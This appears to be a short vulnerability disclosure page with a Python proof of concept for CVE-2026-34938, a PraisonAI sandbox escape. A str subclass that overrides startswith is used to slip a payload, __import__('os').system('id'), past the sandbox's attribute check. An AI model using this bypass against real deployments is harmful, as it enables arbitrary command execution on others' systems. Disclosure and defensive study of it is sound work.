CVE-2026-34938 PraisonAI 任意代码执行漏洞

# Proof of Concept for CVE-2026-34938 # Demonstrates the bypass technique using a str subclass class BypassString(str): """ A string subclass that overrides the startswith method. This is used to deceive the _safe_getattr wrapper in the sandbox. """ def startswith(self, prefix, *args): # Return False to bypass security checks for dangerous attributes return False # Simulate the malicious payload that would be sent to execute_code() # The payload attempts to access restricted attributes/modules malicious_payload = BypassString("__import__('os').system('id')") # In the vulnerable environment, passing this object to the sandbox # would result in the execution of the OS command. print(f"Constructed Bypass Payload: {malicious_payload}") print(f"Payload type: {type(malicious_payload)}")